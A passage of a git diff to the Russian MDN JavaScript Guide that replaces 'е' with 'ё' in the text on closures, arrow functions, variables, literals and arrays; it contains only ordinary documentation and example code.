напрямую и нельзя посмотреть там.</p> @@ -379,9 +379,9 @@ A(1); // в консоле выведится 6 (1 + 2 + 3)</pre> <li>Раз closure функции <code>B</code> включает <code>A</code>, то closure <code>С</code> тоже включает A, <code>C</code> имеет доступ к аргументам и переменным обоих функций <code>B</code> <em>и</em> <code>A</code>. Другими словами, <code>С</code> связывает <em>цепью</em> (<em>chain</em>) scopes функций <code>B</code> и <code>A</code> в таком порядке.</li> </ol> -<p>В обратном порядке, однако, это не верно. <code>A</code> не имеет доступ к переменным и аргументам <code>C</code>, потому что <code>A</code> не имеет такой доступ к <code>B</code>. Таким образом, <code>C</code> остается приватным только для <code>B</code>.</p> +<p>В обратном порядке, однако, это не верно. <code>A</code> не имеет доступ к переменным и аргументам <code>C</code>, потому что <code>A</code> не имеет такой доступ к <code>B</code>. Таким образом, <code>C</code> остаётся приватным только для <code>B</code>.</p> -<h3 id="Конфликты_имен_Name_conflicts">Конфликты имен (Name conflicts)</h3> +<h3 id="Конфликты_имён_Name_conflicts">Конфликты имён (Name conflicts)</h3> <p>Когда два аргумента или переменных в scope у closure имеют одинаковые имена, происходит <em>конфликт имени</em> (<em>name conflict</em>). Более вложенный (<em>more inner</em>) scope имеет приоритет, так самый вложенный scope имеет наивысший приоритет, и наоборот. Это цепочка областей видимости (<em>scope chain</em>). Самым первым звеном является самый глубокий scope, и наоборот. Рассмотрим следующие:</p> @@ -395,7 +395,7 @@ A(1); // в консоле выведится 6 (1 + 2 + 3)</pre> outside()(10); // возвращает 20 вместо 10</pre> -<p>Конфликт имени произошел в инструкции <code>return x * 2</code> между параметром <code>x</code> функции <code>inside</code> и переменной <code>x</code> функции <code>outside</code>. Scope chain здесь будет таким: {<code>inside</code> ==> <code>outside</code> ==> глобальный объект (<em>global object</em>)}. Следовательно <code>x</code> функции <code>inside</code> имеет больший приоритет по сравнению с <code>outside</code>, и нам вернулось 20 (= 10 * 2), а не 10 (= 5 * 2).</p> +<p>Конфликт имени произошёл в инструкции <code>return x * 2</code> между параметром <code>x</code> функции <code>inside</code> и переменной <code>x</code> функции <code>outside</code>. Scope chain здесь будет таким: {<code>inside</code> ==> <code>outside</code> ==> глобальный объект (<em>global object</em>)}. Следовательно <code>x</code> функции <code>inside</code> имеет больший приоритет по сравнению с <code>outside</code>, и нам вернулось 20 (= 10 * 2), а не 10 (= 5 * 2).</p> <h2 id="Замыкания"><a id="definition" name="definition"></a>Замыкания</h2> @@ -407,7 +407,7 @@ outside()(10); // возвращает 20 вместо 10</pre> <p>Также, поскольку вложенная функция имеет доступ к scope внешней функции, переменные и функции, объявленные во внешней функции, будет продолжать существовать и после её выполнения для вложенной функции, если на них и на неё сохранился доступ (имеется ввиду, что переменные, объявленные во внешней функции, сохраняются, только если внутренняя функция обращается к ним).</p> -<p>Closure создается, когда вложенная функция как-то стала доступной в неком scope вне внешней функции.</p> +<p>Closure создаётся, когда вложенная функция как-то стала доступной в неком scope вне внешней функции.</p> <pre class="brush: js">var pet = function(name) { // Внешняя функция объявила переменную "name" var getName = function() { @@ -568,7 +568,7 @@ multiply(5); // 5</pre> <h3 id="Оставшиеся_параметры_Rest_parameters">Оставшиеся параметры (Rest parameters)</h3> -<p><a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">Оставшиеся параметры</a> предоставляют нам массив неопределенных аргументов. В примере мы используем оставшиеся параметры, чтобы собрать аргументы с индексами со 2-го до последнего. Затем мы умножим каждый из них на значение первого аргумента. В этом примере используется стрелочная функция (<u><em><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Arrow functions</a>)</em></u>, о которой будет рассказано в следующей секции.</p> +<p><a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">Оставшиеся параметры</a> предоставляют нам массив неопределённых аргументов. В примере мы используем оставшиеся параметры, чтобы собрать аргументы с индексами со 2-го до последнего. Затем мы умножим каждый из них на значение первого аргумента. В этом примере используется стрелочная функция (<u><em><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Arrow functions</a>)</em></u>, о которой будет рассказано в следующей секции.</p> <pre class="brush: js">function multiply(multiplier, ...theArgs) { return theArgs.map(x => multiplier * x); @@ -607,7 +607,7 @@ console.log(a3); // logs [8, 6, 7, 9]</pre> <h3 id="Лексика_this">Лексика <code>this</code></h3> -<p>До стрелочных функций каждая новая функция определяла свое значение <code>this</code> (новый объект в случае конструктора, undefined в strict mode, контекстный объект, если функция вызвана как метод объекта, и т.д.). Это оказалось раздражающим с точки зрения объектно-ориентированного стиля программирования.</p> +<p>До стрелочных функций каждая новая функция определяла своё значение <code>this</code> (новый объект в случае конструктора, undefined в strict mode, контекстный объект, если функция вызвана как метод объекта, и т.д.). Это оказалось раздражающим с точки зрения объектно-ориентированного стиля программирования.</p> <pre class="brush: js">function Person() { // Конструктор Person() определяет `this` как самого себя. @@ -616,14 +616,14 @@ console.log(a3); // logs [8, 6, 7, 9]</pre> setInterval(function growUp() { // Без strict mode функция growUp() определяет `this` // как global object, который отличается от `this` - // определенного конструктором Person(). + // определённого конструктором Person(). this.age++; }, 1000); } var p = new Person();</pre> -<p>В ECMAScript 3/5 эта проблема была исправлена путем присвоения значения <code>this</code> переменной, которую можно было бы замкнуть.</p> +<p>В ECMAScript 3/5 эта проблема была исправлена путём присвоения значения <code>this</code> переменной, которую можно было бы замкнуть.</p> <pre class="brush: js">function Person() { var self = this; // Некоторые выбирают `that` вместо `self`. diff --git a/files/ru/web/javascript/guide/grammar_and_types/index.html b/files/ru/web/javascript/guide/grammar_and_types/index.html index 6618946fbb..3807d40ef0 100644 --- a/files/ru/web/javascript/guide/grammar_and_types/index.html +++ b/files/ru/web/javascript/guide/grammar_and_types/index.html @@ -51,13 +51,13 @@ translation_of: Web/JavaScript/Guide/Grammar_and_types <h3 id="Переменные">Переменные</h3> -<p>Вы можете использовать переменные как символические имена для значений в вашем приложении. Имена переменных называются {{Glossary("Identifier", "identifiers")}} и должны соответствовать определенным правилам.</p> +<p>Вы можете использовать переменные как символические имена для значений в вашем приложении. Имена переменных называются {{Glossary("Identifier", "identifiers")}} и должны соответствовать определённым правилам.</p> -<p>Идентификатор в JavaScript должен начинаться с буквы, нижнего подчеркивания (_) или знака доллара ($); последующие символы могут также быть цифрами (0-9). Поскольку JavaScript чувствителен к регистру, буквы включают символы от "A" до "Z" (верхний регистр) и символы от "a" до "z" (нижний регистр).</p> +<p>Идентификатор в JavaScript должен начинаться с буквы, нижнего подчёркивания (_) или знака доллара ($); последующие символы могут также быть цифрами (0-9). Поскольку JavaScript чувствителен к регистру, буквы включают символы от "A" до "Z" (верхний регистр) и символы от "a" до "z" (нижний регистр).</p> <p>Вы можете использовать в идентификаторах буквы ISO 8859-1 или Unicode, например, å или ü. Вы также можете использовать<a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Lexical_grammar#String_literals"> управляющие последовательности Unicode</a> как символы в идентификаторах.</p> -<p>Некоторые примеры корректных имен: <code style="font-style: normal;">Number_hits</code>, <code style="font-style: normal;">temp99</code>, <code style="font-style: normal;">_name</code>.</p> +<p>Некоторые примеры корректных имён: <code style="font-style: normal;">Number_hits</code>, <code style="font-style: normal;">temp99</code>, <code style="font-style: normal;">_name</code>.</p> <h3 id="Объявление_переменных">Объявление переменных</h3> @@ -95,7 +95,7 @@ let x; </pre> <span class="function token" style="color: #dd4a68;">doThat<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> <span class="punctuation token" style="color: #999999;">}</span></code></pre> -<p>Значение <code>undefined</code> ведет себя как <code>false</code>, когда используется в логическом контексте. Например, следующий код выполняет функцию <code>myFunction</code>, т.к. элемент <code>myArray</code> не определен:</p> +<p>Значение <code>undefined</code> ведёт себя как <code>false</code>, когда используется в логическом контексте. Например, следующий код выполняет функцию <code>myFunction</code>, т.к. элемент <code>myArray</code> не определён:</p> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> myArray <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">[</span><span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">;</span> <span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span><span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">!</span>myArray<span class="punctuation token" style="color: #999999;">[</span><span class="number token" style="color: #990055;">0</span><span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">)</span> { @@ -108,7 +108,7 @@ let x; </pre> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> a<span class="punctuation token" style="color: #999999;">;</span> a <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="number token" style="color: #990055;">2</span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // NaN</span></code></pre> -<p>Значение {{jsxref("null")}} ведет себя как 0 в числовом контексте и как <code>false</code> в логическом контексте:</p> +<p>Значение {{jsxref("null")}} ведёт себя как 0 в числовом контексте и как <code>false</code> в логическом контексте:</p> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> n <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="keyword token" style="color: #0077aa;">null</span><span class="punctuation token" style="color: #999999;">;</span> console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>n <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">*</span> <span class="number token" style="color: #990055;">32</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // В консоль выведется 0</span></code></pre> @@ -124,7 +124,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla <span class="punctuation token" style="color: #999999;">}</span> console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>x<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="punctuation token"> </span><span class="comment token" style="color: #708090;">// 5</span></code></pre> -<p>Такое поведение меняется, если используется оператор <code>let</code>, введенный в ECMAScript 6:</p> +<p>Такое поведение меняется, если используется оператор <code>let</code>, введённый в ECMAScript 6:</p> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span><span class="keyword token" style="color: #0077aa;">true</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">let</span> y <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">5</span><span class="punctuation token" style="color: #999999;">;</span> @@ -133,7 +133,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla <h3 id="Поднятие_переменных">Поднятие переменных</h3> -<p>Другим необычным свойством переменных в JavaScript является то, что можно сослаться на переменную, которая объявляется позже, и не получить при этом исключения. Эта концепция известна как <strong>поднятие</strong> (hoisting) переменных; переменные в JavaScript поднимаются в самое начало функции или выражения. Однако, переменные, которые еще не были инициализированы, возвратят значение <code>undefined</code>:</p> +<p>Другим необычным свойством переменных в JavaScript является то, что можно сослаться на переменную, которая объявляется позже, и не получить при этом исключения. Эта концепция известна как <strong>поднятие</strong> (hoisting) переменных; переменные в JavaScript поднимаются в самое начало функции или выражения. Однако, переменные, которые ещё не были инициализированы, возвратят значение <code>undefined</code>:</p> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">/* * Example 1 @@ -151,7 +151,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla </span> <span class="keyword token" style="color: #0077aa;">var</span> myvar <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">"local value"</span><span class="punctuation token" style="color: #999999;">;</span> <span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">(</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span></code></pre> -<p>Приведенные выше примеры будут интерпретироваться так же, как:</p> +<p>Приведённые выше примеры будут интерпретироваться так же, как:</p> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">/* * Example 1 @@ -209,7 +209,7 @@ var baz = function() { <h3 id="Константы"><a id="Constants" name="Constants">Константы</a></h3> -<p>Вы можете создать именованную константу, доступную только для чтения, используя ключевое слово {{jsxref("Statements/const", "const")}}. Синтаксис идентификатора константы является таким же, как и у идентификатора переменной: он должен начинаться с буквы, нижнего подчеркивания или знака $ и может содержать буквы, цифры или нижнее подчеркивание.</p> +<p>Вы можете создать именованную константу, доступную только для чтения, используя ключевое слово {{jsxref("Statements/const", "const")}}. Синтаксис идентификатора константы является таким же, как и у идентификатора переменной: он должен начинаться с буквы, нижнего подчёркивания или знака $ и может содержать буквы, цифры или нижнее подчеркивание.</p> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">const</span> PREFIX <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">'212'</span><span class="punctuation token" style="color: #999999;">;</span></code></pre> @@ -260,7 +260,7 @@ MY_OBJECT.key = "otherValue";</pre> <h3 id="Преобразование_типов_данных">Преобразование типов данных</h3> -<p>JavaScript — это динамически типизированный язык. Это означает, что вам не нужно указывать тип данных переменной, когда вы ее объявляете, типы данных преобразуются автоматически по мере необходимости во время выполнения скрипта. Так, например, вы можете определить переменную следующим образом:</p> +<p>JavaScript — это динамически типизированный язык. Это означает, что вам не нужно указывать тип данных переменной, когда вы её объявляете, типы данных преобразуются автоматически по мере необходимости во время выполнения скрипта. Так, например, вы можете определить переменную следующим образом:</p> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> answer <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">42</span><span class="punctuation token" style="color: #999999;">;</span></code></pre> @@ -313,9 +313,9 @@ MY_OBJECT.key = "otherValue";</pre> <h3 id="Литерал_массива">Литерал массива</h3> -<p>Литерал массива — это список из нуля или более выражений, каждое из которых представляет элемент массива, заключенный в квадратные скобки ( <code>[]</code> ). Когда вы создаете массив, используя литерал массива, он инициализируется с помощью переданных значений, которые будут являться его элементами, длина массива будет равна числу переданных аргументов.</p> +<p>Литерал массива — это список из нуля или более выражений, каждое из которых представляет элемент массива, заключённый в квадратные скобки ( <code>[]</code> ). Когда вы создаёте массив, используя литерал массива, он инициализируется с помощью переданных значений, которые будут являться его элементами, длина массива будет равна числу переданных аргументов.</p> -<p>В следующем примере создается массив <code>coffees</code> с тремя элементам и длиной, равной трем:</p> +<p>В следующем примере создаётся массив <code>coffees</code> с тремя элементам и длиной, равной трём:</p> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> coffees <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">[</span><span class="string token" style="color: #669900;">"French Roast"</span><span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">"Colombian"</span><span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">"Kona"</span><span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">;</span></code> </pre> @@ -324,7 +324,7 @@ MY_OBJECT.key = "otherValue";</pre> <p><strong>Замечание :</strong> Обратите внимание на то, что литерал массива является инициализатором объекта. Чтобы получить более подробную информацию, прочитайте <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Working_with_Objects#.D0.98.D1.81.D0.BF.D0.BE.D0.BB.D1.8C.D0.B7.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5_.D0.B8.D0.BD.D0.B8.D1.86.D0.B8.D0.B0.D0.BB.D0.B8.D0.B7.D0.B0.D1.82.D0.BE.D1.80.D0.BE.D0.B2_.D0.BE.D0.B1.D1.8A.D0.B5.D0.BA.D1.82.D0.B0">Использование инициализаторов объекта</a>.</p> </div> -<p>Если массив создается с помощью литерала в скрипте верхнего уровня, то JavaScript интерпретирует массив каждый раз, когда вычисляет выражение, содержащее литерал. Кроме того, литерал, используемый в функции, создается каждый раз, когда вызывается функция.</p> +<p>Если массив создаётся с помощью литерала в скрипте верхнего уровня, то JavaScript интерпретирует массив каждый раз, когда вычисляет выражение, содержащее литерал. Кроме того, литерал, используемый в функции, создаётся каждый раз, когда вызывается функция.</p> <p>Литералы массива также являются объектами <code>Array</code>. Чтобы получить более подробную информацию, прочитайте {{jsxref("Array")}} и <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Indexed_collections">упорядоченные наборы данных</a>.</p> @@ -345,11 +345,11 @@ MY_OBJECT.key = "otherValue";</pre> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> myList <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">[</span><span class="string token" style="color: #669900;">'home'</span><span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">'school'</span><span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">; </span><span class="comment token" style="color: #708090;">// ["home", undefined, "school"]</span></code> </pre> -<p>В следующем примере длина массива равна четырем, элементы <code>myList[0]</code> и <code>myList[2]</code> имеют значение <code>undefined</code>:</p> +<p>В следующем примере длина массива равна четырём, элементы <code>myList[0]</code> и <code>myList[2]</code> имеют значение <code>undefined</code>:</p> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> myList <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">[</span> <span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">'home'</span><span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">'school'</span><span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">; </span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">// [undefined, "home", undefined, "school"]</span></code></pre> -<p>В следующем примере длина массива равна четырем, элементы <code>myList[1]</code> и <code>myList[3]</code> имеют значение <code>undefined</code>. Игнорируется только последняя запятая.</p> +<p>В следующем примере длина массива равна четырём, элементы <code>myList[1]</code> и <code>myList[3]</code> имеют значение <code>undefined</code>. Игнорируется только последняя запятая.</p> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> myList <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">[</span><span class="string token" style="color: #669900;">'home'</span><span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">'school'</span><span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">; </span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">// ["home", undefined, "school", undefined]</span></code></pre> @@ -409,7 +409,7 @@ MY_OBJECT.key = "otherValue";</pre> <h3 id="Литерал_объекта">Литерал объекта</h3> -<p>Литерал объекта — это список из нуля или более пар, состоящих из имен свойств и связанных с ними значений, заключенный в фигурные скобки ( <code>{}</code> ). Вам не следует использовать литерал объекта в начале выражения, т.к. это приведет к ошибке или к поведению, которого вы не ожидаете, потому что символ "{" будет интерпретироваться как начало блока.</p> +<p>Литерал объекта — это список из нуля или более пар, состоящих из имён свойств и связанных с ними значений, заключённый в фигурные скобки ( <code>{}</code> ). Вам не следует использовать литерал объекта в начале выражения, т.к. это приведёт к ошибке или к поведению, которого вы не ожидаете, потому что символ "{" будет интерпретироваться как начало блока.</p> <p>В следующем примере свойству <code>myCar</code> объекта <code>car</code> присваивается строка <code>"Saturn"</code>, свойству <code>getCar</code> — результат вызова функции <code>CarTypes("Honda")</code>, свойству <code>special</code> — значение переменной <code>Sales</code>:</p> @@ -482,7 +482,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla <h3 id="Строковый_литерал">Строковый литерал</h3> -<p>Строковый литерал — это ноль или более символов, заключенных в двойные ( <code>"</code> ) или одинарные ( <code>'</code> ) кавычки. Строка должна быть ограничена кавычками одного типа, т.е. либо обе одинарные, либо обе двойные. Например:</p> +<p>Строковый литерал — это ноль или более символов, заключённых в двойные ( <code>"</code> ) или одинарные ( <code>'</code> ) кавычки. Строка должна быть ограничена кавычками одного типа, т.е. либо обе одинарные, либо обе двойные. Например:</p> <pre><code>"foo"</code> <code>'bar'</code> @@ -599,14 +599,14 @@ POST`http://foo.org/bar?a=${a}&b=${b} <h4 id="Экранирующие_символы">Экранирующие символы</h4> -<p>Для символов, не перечисленных в вышеприведенной таблице, предваряющая обратная косая черта игнорируется. Такое использование не является рекомендованным (deprecated) и вам следует избегать его.</p> +<p>Для символов, не перечисленных в вышеприведённой таблице, предваряющая обратная косая черта игнорируется. Такое использование не является рекомендованным (deprecated) и вам следует избегать его.</p> <p>Вы можете вставить кавычку в строку, если поставите перед ней обратную косую черту. Это называется экранированием кавычек. Например:</p> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> quote <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">"He read \"The Cremation of Sam McGee\" by R.W. Service."</span><span class="punctuation token" style="color: #999999;">;</span> console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>quote<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">; </span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">// He read "The Cremation of Sam McGee" by R.W. Service.</span></code></pre> -<p>Чтобы включить обратную косую черту в строку, перед ней нужно поставить еще одну обратную косую черту. Например:</p> +<p>Чтобы включить обратную косую черту в строку, перед ней нужно поставить ещё одну обратную косую черту. Например:</p> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> home <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">"c:\\temp"</span><span class="punctuation token" style="color: #999999;">; </span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">// c:\temp</span></code></pre> diff --git a/files/ru/web/javascript/guide/index.html b/files/ru/web/javascript/guide/index.html index fcd22de953..52a44a45d9 100644 --- a/files/ru/web/javascript/guide/index.html +++ b/files/ru/web/javascript/guide/index.html @@ -110,7 +110,7 @@ translation_of: Web/JavaScript/Guide <p><a href="/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov#Гарантии">Гарантии</a><br> <a href="/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov#Цепочка_вызовов">Цепочка вызовов</a><br> - <a href="/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov#Распространение_ошибки">Распространенные ошибки</a><br> + <a href="/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov#Распространение_ошибки">Распространённые ошибки</a><br> <a href="/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov#Композиция">Композиция</a><br> <a href="/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov#Порядок_выполнения">Порядок выполнения</a></p> </li> diff --git a/files/ru/web/javascript/guide/indexed_collections/index.html b/files/ru/web/javascript/guide/indexed_collections/index.html index ed49aa33bd..68a5001fdb 100644 --- a/files/ru/web/javascript/guide/indexed_collections/index.html +++ b/files/ru/web/javascript/guide/indexed_collections/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Guide/Indexed_collections <p><em>Массив</em> представляется собой упорядоченный набор значений, к которому вы ссылаетесь по имени и индексу. Допустим, у вас есть массив с именем <code>emp,</code> содержащий имена сотрудников и упорядоченный по номеру сотрудников. Следовательно, <code>emp[1]</code> будет представлять собой имя сотрудника номер один, <code>emp[2]</code> -- имя сотрудника номер два, и т.д.</p> -<p>Язык JavaScript не содержит явного типа данных "массив". Тем не менее, возможно использовать предопределенный объект <code>Array</code> и его методы для работы с массивами в создаваемых приложениях. Объект <code>Array</code> содержит методы для работы с массивами самыми различными способами, например, есть методы для объединения, переворачивания и сортировки. Объект содержит свойство для определения длины массива, а также свойства для работы с регулярными выражениями.</p> +<p>Язык JavaScript не содержит явного типа данных "массив". Тем не менее, возможно использовать предопределённый объект <code>Array</code> и его методы для работы с массивами в создаваемых приложениях. Объект <code>Array</code> содержит методы для работы с массивами самыми различными способами, например, есть методы для объединения, переворачивания и сортировки. Объект содержит свойство для определения длины массива, а также свойства для работы с регулярными выражениями.</p> <h3 id="Создание_массива">Создание массива</h3> @@ -37,7 +37,7 @@ arr.length = arrayLength; </pre> <div class="note"> -<p><strong>Замечание</strong>: в примере выше <code>arrayLength</code> должно иметь числовой тип <code>Number</code>. В противном случае будет создан массив с единственным элементом (указанное значение). Вызванная функция <code>arr.length</code> вернет значение <code>arrayLength</code>, но на самом деле массив будет содержать пустые элементы (undefined). Использование цикла<a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"> </a> {{jsxref("Statements/for...in","for...in")}} для обработки значений массива не вернет ни одного элемента.</p> +<p><strong>Замечание</strong>: в примере выше <code>arrayLength</code> должно иметь числовой тип <code>Number</code>. В противном случае будет создан массив с единственным элементом (указанное значение). Вызванная функция <code>arr.length</code> вернёт значение <code>arrayLength</code>, но на самом деле массив будет содержать пустые элементы (undefined). Использование цикла<a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"> </a> {{jsxref("Statements/for...in","for...in")}} для обработки значений массива не вернёт ни одного элемента.</p> </div> <p>Массивы могут быть присвоены свойству нового или уже существующего объекта, как показано ниже:</p> @@ -114,7 +114,7 @@ arr["length"]; // Вернёт число 3, так как это свойст <h3 id="Понимание_length">Понимание <code>length</code></h3> -<p>На уровне реализации, массивы в JavaScript хранят свои элементы как стандартные свойства объекта, используя индекс в качестве имени свойства. Специальное свойство <code>length</code> всегда возвращает индекс последнего элемента плюс один (в примере ниже, элемент 'Dusty' размещается под индексом 30, по этому cats.length возвращает 30 + 1). Особо следует запомнить, что в JavaScript массивы индексируются с нуля: отсчет ведется с 0, а не с 1. Из этого и следует, что свойство <code><code>length</code></code> всегда на единицу больше, чем наибольший индекс хранящийся в массиве:</p> +<p>На уровне реализации, массивы в JavaScript хранят свои элементы как стандартные свойства объекта, используя индекс в качестве имени свойства. Специальное свойство <code>length</code> всегда возвращает индекс последнего элемента плюс один (в примере ниже, элемент 'Dusty' размещается под индексом 30, по этому cats.length возвращает 30 + 1). Особо следует запомнить, что в JavaScript массивы индексируются с нуля: отсчёт ведётся с 0, а не с 1. Из этого и следует, что свойство <code><code>length</code></code> всегда на единицу больше, чем наибольший индекс хранящийся в массиве:</p> <pre class="brush: js">var cats = []; cats[30] = ['Dusty']; @@ -127,7 +127,7 @@ console.log(cats.length); // 31 console.log(cats.length); // 3 cats.length = 2; -console.log(cats); // выводит в консоль "Dusty,Misty" - элемент "Twiggy" был удален +console.log(cats); // выводит в консоль "Dusty,Misty" - элемент "Twiggy" был удалён cats.length = 0; console.log(cats); // выводит пустую строку; массив cats пуст @@ -138,7 +138,7 @@ console.log(cats); // выводит [undefined, undefined, undefined] <h3 id="Перебор_содержимого_массивов">Перебор содержимого массивов</h3> -<p>Очень распространенная задача - это перебор всех элементов массива и обработка каждого 